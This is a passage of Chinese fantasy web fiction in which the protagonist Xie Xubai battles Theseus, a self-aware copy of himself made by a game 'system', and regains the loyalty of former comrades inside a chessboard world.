谢叙白飞快操控金光圈住暴怒失控的邪神躯壳,忙不迭地说:“我还活着!宴朔!我没死,我就在这里!就在你的眼前!” 邪神躯壳第一次没有回应,被谢叙白拉扯第二次,终于颤抖地低下头。 岂料这时斗篷人张嘴又吐出一个惊天秘闻:“谢叙白,看你现在生龙活虎的样子,谁能想到你的灵魂曾经碎过一次,差点没能救回来呢?” 谢叙白动作微滞,冷冷地看着他。 斗篷人对他露齿一笑。 “一点印象都没有?那当然。就像史蒂芬不知道你为他使用吞噬能力前下了多大的决心,你也不知道邪神为了从系统手里抢回你的灵魂碎片,冲到虚空迎击外神。” “那可是活生生的外神,不是游戏里模拟出来的小玩意,立于寰宇不灭,将维度法则玩弄于鼓掌之间。邪神和祂们在高维宇宙经历过一场激烈的鏖战后,你猜怎么着?” “你家姘头将近一半的神格。”斗篷人谐谑地说,“就这么没了哦。” “更可怜的是,等祂奄奄一息地抱着你的灵魂碎片回来,却发现你的灵魂受不了一点邪力侵染,何况祂的力量向来暴烈,根本无从拼凑。 祂只能拖着伤痕累累的身体带你上天入地,请四方正神帮忙,然而正神的真身对邪物自带压制力,被照射后如同烈火焚身…… 呵呵,要是邪神全盛之时,当然不会将这点攻击放在眼里,然而那时的祂为了救你豁出去半条命,你猜祂还有没有力气抵挡正神的神威?” 别听,别信。 谢叙白不断这样告诫自己,但随着斗篷人吐露那些秘辛,他的指甲不受控制地深深嵌入掌腹,渗出黏稠滚烫的液体。 “别挣扎了,你不可能无动于衷,因为你知道我说的是真话。” 斗篷人眼底浮现出一丝笑意,似乎在欣赏谢叙白的痛苦:“顺带一提,系统就是在那时候搜集到了你的数据,然后制造出了我。” “一开始,系统原封不动照搬你的数据,想让你自己对付自己。可是不行啊!你的性子太烈了,宁愿自毁都不肯沦落为系统的爪牙。系统就只能在原来的数据上做一点小小的更改……” 斗篷人用拇指食指比出一点的手势,然后猝然抬手,咋咋呼呼哇的一声,两只手臂朝外画圆张开,瞪大发亮的眼珠子里满是让人毛骨悚然的笑意。 “真的是一小点!不过是把你关在虚拟模拟室里,让你动弹不得,亲眼看到曾经的亲朋好友遭受酷刑,你恨不得那些烧红的烙铁啊、钢针啊、嗡嗡响的钢锯啊,通通往你身上招呼,好几次你都差点要崩溃了,可是不知道为什么你又坚持了下来——你为什么要坚持?啊!?” “在你心中道德正义秩序就那么重要吗!你放弃一下会死吗?!对整个宇宙而言人类这个种族微不足道,就算一时延续下去又有什么意义?” 斗篷人满脸狰狞地大吼! 然而疯癫只在一瞬间,一眨眼他又恢复温文尔雅的笑脸,像个喜怒无常的神经病人,上一秒暴雨雷霆,下一秒阳光灿烂。 或许他早就已经疯了。 斗篷人拧紧眉头,模拟系统苦恼气急的样子:“然后系统发现不行啊,哪怕你只是一段复制下来的数据,也没法用虚拟的数据人物来蛊惑你。” “所以它又做了一点小、小、小、小……的更改!比如它觉得是你这辈子遇到的善意太多,所以才这么喜欢人类,就给你设计了个天煞孤星的buff,凡是接近你的人都会走大霉,轻则伤残重则丧命,从而厌恶你,把你往死了整,没用!你痛苦地把所有的错都归咎在自己的身上,安安静静地骑车几公里,找了个偏僻的山跳下去,因为不想临死还给人添麻烦。 天啊!你是圣父转世吗?我都觉得庙堂里的那个佛像应该自觉点滚下来让你上去坐!” 斗篷人一拍桌子,嘲讽地大笑道:“然后系统又没招了啊,你的灵魂太纯粹了!太光明了!它又对付不了你,能怎么办呢?只有继续改啊!改你的身世,改你的经历,最后没有办法了,终于想到从DNA序列下手,改基因,改性格,当原本的灵魂面无全非,就有了现在的我!” 斗篷人坐在椅子上,捂着脸笑个不停,指甲神经质地掐进皮肉,胸口急剧起伏,像缺氧的鱼在竭力大口地喘息。 很快他又平静下来,眼神冰冷至极,嘴角却勾起温和的笑意,冲谢叙白彬彬有礼地欠身。 “那么谢叙白,现在允许我重新介绍一下自己。” 他喊着谢叙白的名字,柔情四溢地咀嚼着每一个字音,明亮的眼睛向上高抬,里面盛满能吞噬世间的恨意。 “我是千万个废弃方案的幸存者,是以你为原件更迭重造的忒修斯之船——” “你可以称我为幸存者,也可以叫我的方案代号,【忒修斯】。” 谢叙白没有说话。 他面色冷肃,波澜不惊,如果不是金光依旧稳定地罩在邪神躯壳的身上,和雕像没什么两样。 斗篷人,不,忒修斯上上下下反复审视青年面无表情的脸。 如果说之前的谢叙白心防如盔甲,那么恢复记忆后的他,就是直接垒起了万米高的铜墙铁壁。 除了听到宴朔救他那段时没控制住漏了情绪,其他时间很难在他的脸上捕捉到真实的内心想法。 忒修斯嗤笑一声,百无聊赖地坐了回去:“相信你已经注意到了,这一世的无限游戏相比之前有很大的改变。” “以往高维虫兵的入侵战争只能算新手副本,十艘星舰就能毁掉半个地球。现在的试炼不仅改成了玩家能理解的本土游戏,关卡难度也得到悬崖式降低,这都要多亏你最后的牺牲。” 谢叙白终于开了口,一针见血地点明:“你觉得是我最后的牺牲逼迫系统改变了游戏规则,又或许还有一个前提——我通过吸收力量达到了神级或者准神级,拥有和系统的一战之力。” “前几个关卡你真的想顺从系统杀了我,直至后面我被玩家解救,让你看到我有再度成神的希望,所以临时更改决定,安排史蒂芬出现在我的面前。看似自毁棋路,其实是想让我吸收掉他的神力,复刻当年的局面。” “这样你就能借我的手除掉系统,更痛快点,让我直接和它同归于尽,一次性解决你最恨的两个家伙。” 忒修斯忍不住鼓起掌,赞赏谢叙白的聪慧:“和你说话就是省心。” 他抬了抬下巴:“同样要多亏你的姘头在另一边给系统使绊子,否则这些真相我哪有机会告诉你?” “但我凭什么按照你说的去做?”谢叙白不咸不淡地开口,情绪仿佛没有一丝变化,“因为你见惯了我的死亡,我就一定要选择牺牲那条路?” 这句反问令忒修斯很是意外,因为里面蕴含了某些他以为永远不会出现在谢叙白身上的东西,比如自惜。 忒修斯玩味地问:“知道我有那么惨的经历,你就一点都不可怜我吗?我的悲惨遭遇大部分都是因为你哦,怎么对个不认识的陌生人都能嘘寒问暖无微不至,对我就这么无情?你就这么讨厌自己?” 谢叙白没接话,不错眼地盯着他,不肯漏过一丝破绽,言简意赅地说:“你很淡定,淡定得过了头。” “你笃定我一定会走上以前的老路,为什么?让你信誓旦旦的筹码是什么?” 谢叙白眼神犀利如鹰隼,捕捉空气中最幽微隐秘的一丝精神波动,猛然提到:“是系统。” “这场无限游戏,系统隐藏了什么?” 忒修斯扯了扯嘴角,重新给自己下达认知干扰:“在你面前还真是一点秘密都没有,真可怕。” 如果把系统比作电脑,那么忒修斯就是接入电脑的外来数据源。 原本这个数据源只是一段常规代码,然而它在数据验算的过程中突然产生自我思想,变成了人工智能。 人工智能在系统的重重设防下,窥探到核心数据的可能性有多大,他究竟是胸有成竹还是虚张声势? 这些忒修斯都没表露出来。 “想要知道我发现了什么?可以。只要你按照我的指示吃掉一些家伙,我就告诉你。” “当然,你也可以选择什么都不做,无所谓。”忒修斯恶意满满地看着谢叙白,笑容说不出的扭曲,“但是谢叙白,算我好心提醒你,这是你们的最后一次机会了。错过这一次,大家正好一起下地狱。” 谢叙白和他对视片刻,问:“你想让我吃掉谁?” “谁呢?你之前吃掉的家伙可不少呢,一时半会还真说不完。”忒修斯装模作样想了想,一打响指,“要不然就从史蒂芬开始吧。” 棋盘世界里的巨人男孩主动朝谢叙白靠近,被金光缠绕的脸看不出任何表情,唯有无声的泪水洇湿光带,从缝隙缓缓渗出。 第222章 黑王(6)…… 光带罩住双眼,映出鲜红的视网膜,隐隐约约能看见一道清瘦的人影站在面前,似有若无地注视着他。 史蒂芬浑浑噩噩地想,他为什么会出现在这里?他不是很早就已经死了吗? ……是了,他想起来了。 无限游戏降临的某一天,有个穿黑色斗篷的神秘人突然找上门,他昏迷过去,再睁眼时就被困在了这片黑塔耸立的荒原,脑子里潮水般涌入许多回忆。 他记起自己并非普通的上市集团CEO,还是使徒公会被淘汰掉的前成员,救世主预备役兼神眷者,有一个没能救下的挚爱……叫丽萨。 史蒂芬觉得自己应该再死一遍。 正是这时,神秘斗篷人再次出现,叽里呱啦说了一大堆,史蒂芬脑子混乱,听得很不耐烦,也没听明白。 但他记住了两件事。 第一件事,人类历经千辛万苦后又一次迎来失败。 在当时,那是玩家的最后一次机会,他们几乎被逼到极限,失败即灭亡。 但white临战之前突然想到某个相当铤而走险的计策,集结所有玩家的力量成功阴了系统一把! 他们又获得了一次重头再来的机会,并且狠狠踹翻之前所有不合理的游戏规则。所有玩家重整旗鼓,没有下一次,也不需要下一次,这次他们一定可以赢下游戏! 第二件事,他变成了副本里的关卡小BOSS,而white即将带领新一批玩家小队前来攻打副本。 问题是,这一世的white是普通人开局,没有多次轮回叠加力量,所以需要他和其他人的帮忙。 听到这里,史蒂芬麻木空洞的眼珠子终于动了动,嘶哑的声音响起:“我,要怎么,才能帮他?” “很简单。”恶魔带着笑意的声音在他的耳侧响起,“既然他缺少和系统对抗的力量,那么你们把自己的力量交给他就行了,就和上一世一样。只是过程可能会痛上那么一点点。” 对他们这些人来说,肉身感受到的疼痛,实在是最微不足道的代价了。 史蒂芬尝试认出斗篷人,未果,茫然地喘了一口气,断断续续地问:“white会怎么样?一个人,能承受的力量有限,他逼迫自己,强行吸收,会付出,什么样的代价?” 斗篷人笑吟吟地说:“他什么事都不会有。你用脑子想一想,如果他真的有事,这一世还有命和你们相见吗?” 史蒂芬对斗篷人的话半信半疑,但他确实等来了white。 少年容貌不似当年,却依旧光辉卓绝。 为了验证记忆的真假,史蒂芬脱口对谢叙白说“再帮我一次”。 当看见少年的瞳孔猝不及防地缩紧时,史蒂芬便知道了,斗篷人没有说谎。 那一刻,如释重负的轻松感包围了他。 史蒂芬对着少年潸然泪下,迫切地希望对方能早点吃掉他。 既结束他的噩梦,也助君此行顺利,一路光辉。 岂料他做好了送死的准备,却听到谢叙白突如其来的反问:“你难道不想见到丽萨了?” 惊涛骇浪直拍心头。 史蒂芬骤然抬头,可是被光带蒙住的眼睛看不见谢叙白是什么表情,急得他上手撕扯。 光带遏制异化,不能解除。 谢叙白抬手和史蒂芬建立精神链接。 情感共振下,哪怕他有一丝心虚和说谎的痕迹,都逃不过史蒂芬的感知。 “史蒂芬,我能让你再见到丽萨,见到你的家人。” “所以。”谢叙白问,“你愿意相信我吗?” 在使徒公会的时候,谢叙白说话就是这么一副不轻不重、滴水不漏的语气,机灵的成员们会通过精神波动的变化,来判断年轻指挥官是在说笑打趣还是严厉警告。 但有一个情况,他们知道white绝对不会开玩笑。 那就是提到他人内心伤痛的时候。 恰如此时,谢叙白的真实情绪通过精神链接传递而来,史蒂芬怔愣着,泪水再一次涌入眼眶,凝结在光带边缘,滴滴答答地砸在地上。 “我相信!我一直都相信你的!” 在史蒂芬声嘶力竭又坚定至极的嚎啕声里,金色图纹徽记于他的手背飞速成型,绽放璀璨的光芒。 金光顺势而上,来到男孩的意识海深处,似波纹一圈又一圈地朝外涤荡,轰然震碎散发猩红血气的污染源! 刹那间史蒂芬的意识变得无比清明,多日来折磨他的回忆被金光抚慰,妥善安置。污染源消失一刻,艾特庞大的体型飞快收缩成正常人类的大小,同时身量拉长,容貌趋于成熟。 当金色屏障撤离的瞬间,众玩家惊讶发现巨人男孩不见了,取而代之的是一个长相英俊、略显阴郁的外国年轻人,二十岁出头,手背上还映着谢叙白的神眷者徽记! 水墨空间。 忒修斯的视线从棋盘世界收回,抬头看向谢叙白。 尽管早就知道了,这个人看似温文尔雅的表面下有着一颗淬冰冷硬的心,也预料到他没那么容易妥协,但尘埃落定时,忒修斯还是忍不住捧着脸,低低笑出了声。 白玉棋盘如明镜,从下往上映照着他笑起来如同魔鬼的半张脸。 忒修斯说:“谢叙白,我给过你机会。只要你痛痛快快和系统去死,我不迁怒你心爱的人类……我都这么努力地忍耐你了,为什么你还是那么不知好歹?” 谢叙白的眼睛飞快移到他的椅子下面,发现九颗黑棋完好无损,瞳孔微微一凝。 “终于发现了吗?”忒修斯慢慢悠悠地说,“史蒂芬不是我刚才落下的那枚棋子。” 棋盘世界。 身后传来沉重巨响,众玩家闻声猛然回头,黑塔紧闭的铜铁大门在没有任何驱动的前提下轰然打开,门沿刮擦地面扬起滚滚尘土。 据瘦长黑影的介绍,黑塔里面就是游戏王国。 玩家们将会面临形形色色的公民NPC和性格各异、强度不一的关卡BOSS,通过玩游戏攒到足够的比赛积分,一层一层地向上攀登,直至登上黑塔最高处,面见游戏王国里最尊贵的黑王,赢下最终的游戏。 然而在看到疑似公民的人影前,他们先从扬起的尘烟中,瞄见一抹葱郁的幽绿,悠悠地伸向天空。 布莱恩的心跳仿佛狠狠漏了一拍。 “……躲开!”他大喝,“所有人躲开——!” “什……” 前排的几名玩家只是一眨眼,便看见一根黄绿色的藤蔓闪现在自己的面前,细长弯曲,欢快地摇来晃去,看着无害又脆弱。 再一眨眼,就扎中了他们的眉心! 绿色藤蔓顺着伤口钻入皮肉,分散成细若游丝的无数根,肆意游动,撑起树根般的褶皱,整张脸狰狞如鬼物,像风干的橘子皮。 玩家痛苦地抽搐,捂着眉心发出赫嗤赫嗤的嘶吼。 意识飞速涣散,瞳孔瞬间失焦。 等他再次抬起头时,两只眼珠都被绿色藤蔓缠绕,变成瑰丽妖异的绿色图纹。 他的脸上再也看不见痛苦和恐慌,洋溢着幸福祥和的微笑。 “都来我这里!快!” 徐队长撑起屏障,让其他幸存的玩家朝他聚拢。 下一秒他瞳孔骤缩。 徐队长的目光越过逃窜的人潮,越过黑塔敞开的大门,看到湛蓝天空映照下,一片郁郁葱葱的绿色海洋。 那绿色,不是建筑物的背景色,是一簇接一簇涌动的黄绿色藤蔓。 它们密密麻麻,形似蛄蛹的蛇群,缠绕在中世纪建筑风的房屋高楼上,那些楼层至少高达十多米! 它们爬过青石砖街道,挂在树梢,像是覆盖了整个世界,一眼竟然望不到头。 徐队长敏锐地听到藤蔓潮传出咔嚓嘎啦的声响,紧跟着他在涌动的缝隙里看到了形状不一的骨头。 有的比水桶粗,有的长比巨树,又是S级副本,硬度可见一斑,放平时需要特级重型压力机才能碾碎,可被藤蔓熟稔地敲骨吸髓,就以肉眼可见的速度变薄,呈现病变的灰白色。 两根细长的藤蔓再轻轻一挤,就碎成了渣。 “【酒神】第七使徒……他谎报了自己的等级!” 徐队长听见自己嘴里爆出咬牙切齿的吼声。 “这混账起码是个半神级!必须撤退!群战是他的优势,我们没法跟他打!” 可是他们都忘记了,轨道已被史蒂芬破坏,特殊地图的限制还没解除,这浩浩汤汤一大堆人,又能往哪里跑? 黑塔门内第一层。 在这片充满血腥和杀机的绿色森林里,一名身穿白色神袍、头戴桂叶冠的白皮美男子正坐在藤蔓堆叠离地十来米高的座位上,似乎看不到底下的人间炼狱,双腿轻轻晃动。 黑塔大门打开的瞬间,他方才转头看了过来。 当发现玩家前排的宴初一时,绿宝石般的眼睛立马绽放出亮光。 第七使徒惊喜地站了起来:“只要等在这里就能看见white,你果然没有骗我!” 在他身后的阴影里,露出一道清瘦穿斗篷的身影,似乎轻轻地笑了一声,贴在青年耳边,像伊甸园蛊惑伊娃的毒蛇,吐出丝丝红信:“那么你可一定要阻止他呀。” “以他现在的力量冲上黑塔只有死路一条,我们都不想再次看到这样的局面发生。希尔,现在只有你能救他了。当他知道你为他所做的一切,他一定会感动得热泪盈眶,大肆夸赞你的。” 只有我能救他。 只有我…… 青年听入了迷,捧着脸兴奋地发出低低喘息,脸颊蔓延上陶醉的殷红。 那双绿幽幽的眼珠子骤缩骤放,忽暗忽明,黑绿交杂的斑驳色块旋转,像快速变化的万花筒,非常诡异且不稳定。 ——精神控制。 谢叙白当初在星际副本一战封神的成名技,在系统复制数据制造忒修斯的时候,也被一并复刻了过去! 第223章 黑王(7) 藤蔓似汹涌潮水扑面而来,人群躲在屏障后面被逼得步步后退。 徐队长和其余巅峰成员举起双手顶在最前面。与半神悬殊的力量差距让他们感觉自己仿佛在与天抗衡,额头冷汗直冒,力量飞速消耗。 其中一人不经意扫见地面凸出一个小鼓包,瞳孔骤缩,来不及做出防备,绿色藤蔓从中钻出,唰一下如毒蛇狰狞咬向该队员的眉心! “糟——!” 千钧一发之际却见宴初一闪现到该成员面前,金光如刀斩断绿芽,又变成火焰将藤蔓燃烧殆尽。 同时他蹲下身,手掌朝下按在地面,金色光浪从掌心迸发而出,似涟漪一圈圈地朝四面八方荡开,将几个还未破开的土包狠狠地压在了地下! 正在与藤蔓交战的许清然和【重力】玩家对视一眼,叫道:“我们也来帮忙!” 手背徽记瞬现,金色神力涌入摇摇欲坠的屏障,顿时光彩焕发,将原本猖狂的藤蔓逼得节节后退。 人潮之中,还有一个意想不到的人在行动——是史蒂芬。 他大跨步来到被藤蔓寄生的玩家面前,接受过神力赐福的他有着比新生神眷者更加老道的作战经验,不需学习适应就顺利唤出了金光。 抬手往前,五指隔空一抓,金光如钩索渗入皮肤毛孔,竟然硬生生地将藤蔓从被寄生者的体内抓了出来! 看着阴郁年轻人轻描淡写地将藤蔓拍碎,丢垃圾一样甩掉残渣,其他人纷纷震惊地瞪大眼睛。 “这家伙这么强的吗??” “不对等等,我们是不是忘记了,这家伙好像是守关BOSS啊!” “对啊!肯定强!” 史蒂芬如法炮制将几名玩家体内的寄生藤蔓全部消灭,听到谈话不咸不淡地扯了扯嘴角,内心腹诽。 ——我能对付酒神藤蔓跟强不强没关系。羡慕么?佩服么?平均每星期两次的抗寄生训练试试看呢? ——哭加两倍训练时长,敢求饶直接加三倍。就white这种惨无人道的训练方式,栓条狗来都不会把这些藤蔓放在眼里。 但史蒂芬也心知酒神还没有动真格,不然凭对方叫人闻风丧胆的恶名和能力,他们不可能应付得这么轻松。 万众瞩目之下,貌若古希腊美神降临的青年走下台阶。 他的每一步都走得矜持、缓慢而优雅,蕴含期待的目光收敛地半垂着,举手投足不能说用心,只能说刻意到让人深感矫揉造作的地步。 仿佛不是在走向玩家,而是踏着红毯觐见仰慕已久的国王。 然而。 与青年虔诚羞赧的神情相对应的,是身后惊天动地的震响。 大地动荡震开一条横跨数百米长街的裂缝,遮天蔽日的巨影喀拉喀拉地从中爬出,高楼建筑轰然垮塌,坠入它身下不见底的裂缝。 那是一个巨大的人形骷髅守卫,仅是露出的半截身子,就和异化成巨人BOSS的史蒂芬体格不相上下。轻轻抬臂,就像撞碎豆腐般将周围的建筑一扫而空。 它微微弯身,黝黑无瞳的眼窟窿里如同太阳高悬云霄,大片阴影如潮水吞噬黑塔大门,盖过玩家的头顶。 所有玩家的视野顿时一黑,唯能看见亮着幽暗绿光的菟丝子在巨型骷髅的身体上欢快缠绕、起舞,如同操控傀儡的丝线。 手脚冰凉,不寒而栗。 青年的视线略过众多惊惧的目光,直勾勾地看向人群正中的宴初一,不无爱怜心疼地说道:“white,我知道,所有人都把希望寄托在你的身上,所有的压力指责都要你挺身出面去抗,你没有一刻轻松过,更没有一刻感到开心,真正地做过自己,别担心,我这就来解放你。” 水墨空间。 谢叙白深深地吸了口气,啪一声落下一子。 棋盘世界。 金色线条如风掠过玩家的身侧,清瘦的人影从高空降落在地。 抬头的刹那间,让众人看到了他的长相。 五官端正,面容清隽,不看他的眼睛,这绝对是亲和力拉满的一张脸。 然而沧桑岁月沉淀在他眼底,千难万险琢磨他的言行举止,使他透着一股与年龄极不相符的成熟威严。 使徒公会的人绝不会对这张脸陌生,那是谢叙白担任第一使徒时的相貌。 比起宴初一,这张久违又熟悉的脸明显对第七使徒更有冲击力。 第七使徒怔了一下,情不自禁地喃喃道:“white……” white没有看他,用金光捏出匕首,平平无奇,巴掌大小。 第七使徒回神,眨眨眼,轻笑出声,完全没把那把匕首放在眼里:“用这么一把小匕首就想对付我,white,你未免也太看不起我了吧。” 他已经发现white的实力比鼎盛时期差上一大截,单凭等级完全不是自己的对手。 加上white还要顾及身后那群累赘,他至少有百分之九十九的自信将人拿下。 却在下一秒看见white将匕首倒转,锋利的尖端直指自己的心口,毫不犹豫干脆利落地刺了下去! 第七使徒的表情从轻松自信到惊愕恐慌,脑海啪嚓一声脆响,心神俱震间仿佛挣脱某个束缚,不管不顾猛冲过去:“white!不!!!” 忒修斯来不及将他拉住,猛一摇晃,嘴角渗出点点血渍。 看着第七使徒如丧考妣狂奔而去的背影,他瞳孔微微瞪大,心里仿佛日了狗。 ——第七使徒挣脱了他的精神控制,他受到了反噬! ——看一眼就受不了?就这种定力也好意思说解救谢叙白?小学生假前死线赶作业都比这坚定! 忒修斯知道谢叙白是苦肉计,但是第七使徒不知道。 在那极限到微秒的时间里,white刺下去的动作被拖曳成慢镜头一样的定帧画面。 第七使徒清清楚楚地看见匕首破开衣服布料,血渍朝外渗出,仿若某个噩梦般的场景轰然重演,他头皮发麻,疯了般地拉住white的手:“快停下!你干什么?你疯了吗??” 第七使徒是真的慌。 经历过最终之战的人谁不知道white真的能搞死自己,他向来都是对人狠,对自己更狠! white撩开眼皮,和第七使徒对上眼,淡声道:“看来你还认我这个前队长。” 第七使徒慌道:“怎么可能不认?你在说什么呢?” 是队长,是长官,更是将低年龄段使徒们一手带大的大哥哥,如师如父。 年轻指挥官点点头:“那就好。” 第七使徒看着他陡然冰冷的眼神,心脏狠狠一咯噔。 然而这个距离想退已经晚了,说时迟那时快,white反手一记耳光狠狠地抽在了他的脸上! 嘭一声脆响,人直接被抽出去三米远,倒地时满口腥甜,吐了血。 纷乱的战场万籁俱寂。 史蒂芬不知道想到什么,一脸幻痛地撇过脸。 white踱步来到第七使徒的面前,气势凛冽,冷若冰霜,拽起他的衣领:“我有没有说过不能对无辜之人下手?” 第七使徒下意识抱住脑袋辩解:“没有,只是控制!其他人是想杀我,我才……嗷!” “我有没有说过吞噬血肉会加重你的精神负荷?” “我我我错,啊!” “所有人都把希望寄托在我身上?为了赢下游戏,上层决策殚心竭力,作战部队视死如归,几十亿玩家的奋力挣扎你是看不到吗?我是不是还要感谢你给我提咖?” 谢叙白愤怒到手抖:“我说过自己很累吗?我说过自己不开心?需要你来解放我?嗯?!” “啊!我知道错了,别打脸white!啊!” 众人:“……” 不,不是,这对吗? 前一秒还不可战胜逼格拉满的敌人,下一秒宛若犯错被教育的小孩一样在陌生的年轻人手底下哭天抢地,并且丝毫不敢还手。 众玩家——特别是布莱恩。 作为被第七使徒折磨过的败者,体会过希尔一视同仁蔑视所有活人的倨傲,看到这画面,忍不住揉眼,恍恍惚惚怀疑自己还在做梦。 有玩家发现端倪,喊道:“你们快看那个陌生人的手背!他也是谢叙白的眷属!” 众人一看,white快速起落的手背上,果不其然映着谢叙白的神眷者徽记,倒吸一口凉气,想要说点什么,半晌,又淡定了下来。 他们能说什么? 已经震惊到麻木了。 ——不是我吹,无论是玩家还是BOSS,副本里但凡厉害点的大佬都和我神有密不可分的关联。 忒修斯神色阴郁,突然目光往上一瞥,原地起跳。 嘭! 一道蕴含着凛冽神力的金色光刃正落在他刚才的位置,劈出一道偌大的裂痕。 谢叙白一击没能得手,再度逼近,金色光刃如暴雨梨花,掀起万千气浪砸向忒修斯。 电光火石间他的眼睛变成璀璨金眸。 对上那双金瞳的瞬间,忒修斯脑海似被重击,不可控制地恍惚了一下,凛冽金光铺天盖地将他切成碎块! 碎块不见流血,猛然间炸成黑色星点,表面溢出不祥的猩红血气,半空中凝结出一张巨大而狰狞的人脸。 人脸嘴巴一张一合,声音嘈杂纷乱有回音,宛若无数个男女老少齐声开口,发出让人毛骨悚然的大笑。 “下手这么狠干什么,你不是不在意吗?” 是的,忒修斯在谢叙白出手的刹那间便意识到了。 对方并非不相信他手里有对抗系统的制胜方法,而是不相信他的人品,准备制服他之后再逼他开口。 白子4颗对黑子3颗,难怪谢叙白有恃无恐敢放手一搏,真是好算盘! 没等谢叙白继续出击,人脸笑着往后倒下去,眨眼间化作黑红色线条,丝丝缕缕地渗入大地。 大地再度震动!这一次的震动可比巨人骷髅出现的时候要厉害得多,地面裂开无数裂缝,各种奇形怪状狰狞恐怖的怪物潮犹如地狱小鬼爬了出来,嘶吼此起彼伏。 如果第七使徒有余力看上一眼,多少会认出那是他吞噬过的无数王国公民,此时通通化作亡魂再现世间! 看到这2浩浩汤汤的规模,玩家们差点眼前一黑。 可是它们的目标不是玩家,甚至不是谢叙白。只见数不清的怪物同时转身,黑压压一大片,践踏引起地面颤动,快如闪电地向后跑去。 后面有什么……等等!淦! 徐队长愕然怒吼:“快阻止它们!它们要破坏登塔的通道!” 第七使徒被揍得不断吸气,头晕眼花地瘫在地上,听到动静想要起身看看情况,被white拎了起来,条件反射地抱头:“真真真认错了!别打了……” 却听见white说:“帮我。” 第七使徒怔愣一瞬,又听见white平淡的嗓音响起:“只有你能帮我了,让你的藤蔓阻止它们。”!!! 霎时间鞭炮齐鸣烟花绽放火树银花流星当空! 第七使徒想也没想地抬起手,巨型骷髅一脚抬起,掀起滚滚尘烟,嘭一声将几十只公民亡灵踩成了纸片! 这事并没有结束。 第七使徒的菟丝子对活物致命,因为它会吸收生命力,然而这些亡魂与傀儡无异,根本不存在血肉和生命力这种东西!死掉后立马像吹气球般迅速膨胀,继续前进。 绿色藤蔓如潮水般冲过去拽住它们,勉强牵制住它们的脚步,一秒不到,亡魂的身体虚化如幻影,直接让藤蔓们抓了个空,猝不及防地摔在地上! 谢叙白见状,准备操控所有棋子直接向黑棋发起攻击,鱼死网破也好,他不能让通道被毁,不能有半点犹豫。 可也是这个时候,一根触手缠上水墨空间谢叙白的手腕,语气有点酸。 【为什么不找我帮忙?】 谢叙白一怔,回头看去,对上邪神躯壳金红色的眼瞳。 后者偏了偏脑袋:【好吧,等一下记得夸我。】 冰凉的黑雾从他的嘴唇拂过,留下一片湿润的涟漪。 满脑子该如何破局的谢叙白瞬间产生一丝微妙的异样:祂刚才说话有这么利索吗? 于是谢叙白眼睛飞快一转,看到了黑雾里的小半块荆棘黑冠。 另外一大半去了哪儿? 很快谢叙白就不需要思考了,因为黑雾当着他的面蛄蛹两下,把剩下的小半块黑冠逐渐融入自己的身体。 就好像把黑冠吃下去消化掉一样。 黑雾打了个响亮的饱嗝,不等谢叙白做出反应,唰一下钻入棋盘开裂的缝隙。 ——那道系统警告忒修斯,将他往棋盘上抡时砸出来的缝隙。 吞噬黑冠获得进入棋盘世界的通行证,再渗入缝隙以绝对安全的方式进场,绝不影响谢叙白的布局。 棋盘似活物疯狂颤抖,抗拒邪神的入场,催动规则试图阻拦,被邪神躯壳冷眼拍碎。 祂动手不复对待谢叙白的温柔克制和忍耐,充满暴虐和怒火。 事实证明邪神的逆鳞不是那么好触碰的,人压抑久了会爆发,而邪神是火山喷发。 祂决定入场时,天王老子来了都拦不住。 “你要干什么宴朔——” 与此同时,棋盘世界雷声大作,天空乌云遮蔽。 万千公民亡魂就像被按下暂停键,猝然僵滞在原地,敬畏骇然地匍匐在地,瑟瑟发抖。 只因它们感受到了熟悉的气息。 游戏王国最至高无上的,王的气息。 第224章 黑王(8) 眼见忒修斯召唤出亡灵大军,棋盘世界的谢叙白一样化作金色线条俯冲向下,渗入这片大地。 土地与规则相连,忒修斯融入大地只为更好地操控这片区域的规则,见状冷笑一声:“找死。” 精神体状态的两人宛若在不见光亮的异空间对峙。 忒修斯单手一挥,猩红发黑的精神力化作凶残恶兽,张开血盆大口,吼声震天动地,一口咬向谢叙白的头颅! 谢叙白快如闪电地侧身躲开,左手凝聚出剑刃找准时机刺向恶兽的眼睛。 恶兽立马偏开头。 刹那间谢叙白调转刀刃反手一扫,金芒生寒,势如破竹,笔直地切入恶兽的喉管,猩红雾气如迸溅的鲜血飞泼而出! 忒修斯脸色一白,嘴角渗血,却大笑着欺身而上! 谢叙白欲要后撤,却受到阻力。 低头一看,是刚才的恶兽。 它死掉后并未消散,而是瞬间变回猩红精神力,凝成锁链,结结实实地捆住他的四肢! 呼吸间隙,忒修斯已经近在咫尺,猩红血雾裹挟着破空之声当头砸下! 谢叙白当机立断虚化身体,散作金色线条脱离束缚,边迎击边后撤。 忒修斯紧逼不放,招招狠辣。 刹那间金红两色线条犹如刀剑交戈激烈拼斗,不到半秒你来我往过了上百招。空中残影连连,余波一圈圈朝外震荡,击碎岩石层引起大地再度坍裂! 忒修斯听到声响,几乎能想象到上方玩家逃窜的模样,朗声讥笑:“谢叙白,口子开得越大涌上地面的亡魂只会更多!你有没有听到队友的惨叫?他们的死亡将由你一手造成!” 谢叙白眼皮子都没颤一下,下手依旧快准狠,风暴中宛若佁然不动的磐石,将猩红血雾击得飞溅退撤。 可以说这个副本开启以来,谢叙白基本没得到过妥善的休息。 连续分魂既会加重精神负荷,也会分散他的力量,只分魂一次的忒修斯在状态上就比他好上数倍。 而且忒修斯是游戏王国的代理黑王,谢叙白是不受欢迎的外来者,区域规则偏袒前者,对后者则是不留余力施加重压。 谢叙白三心二意对抗两方敌人,没一会儿额头就渗出细密的汗水。 忽然,他似是力有不逮,目光涣散一瞬,右手往下一垂,密不透风的攻击露出一丝空缺。 忒修斯立马抓住这丝破绽,如同蛰伏的毒蛇弹射而出! 嘭! 谢叙白胸口破开一道狰狞的伤口,大片金色光雾如血泼洒! 忒修斯嘴角一勾以为袭击得逞,下一秒猖狂笑脸定格僵住。 只见谢叙白哼都没哼一声,光雾泼洒散作满天星辰,又在顷刻间编织成一张巨大的罗网,将他兜头罩住! 谢叙白这是故意卖了一个破绽吸引他上钩,就像他刚才做的那样! 醒悟过来的忒修斯想退已经来不及了,这天罗地网早已封住他所有的退路。 谢叙白毫不犹豫地拉紧光网,朝内绞杀,被逼到绝路的忒修斯眼神发狠赤红,血雾膨胀犹如风暴荡开,瞬间引起整个规则空间剧烈动荡! 轰—— 谢叙白被巨大的冲击掀翻出去,在半空中勉强停稳,胸口疼痛不已,脸色苍白虚疲,急剧地大喘气。 听见风声疾驰,他猛然抬头。 大片血雾冲破金红交戈的神力余晖,血雾正中间露出忒修斯残缺的半张脸,两只眼睛狰狞发狠地盯着他,宛若魔鬼发出奸笑:“去死吧——!” 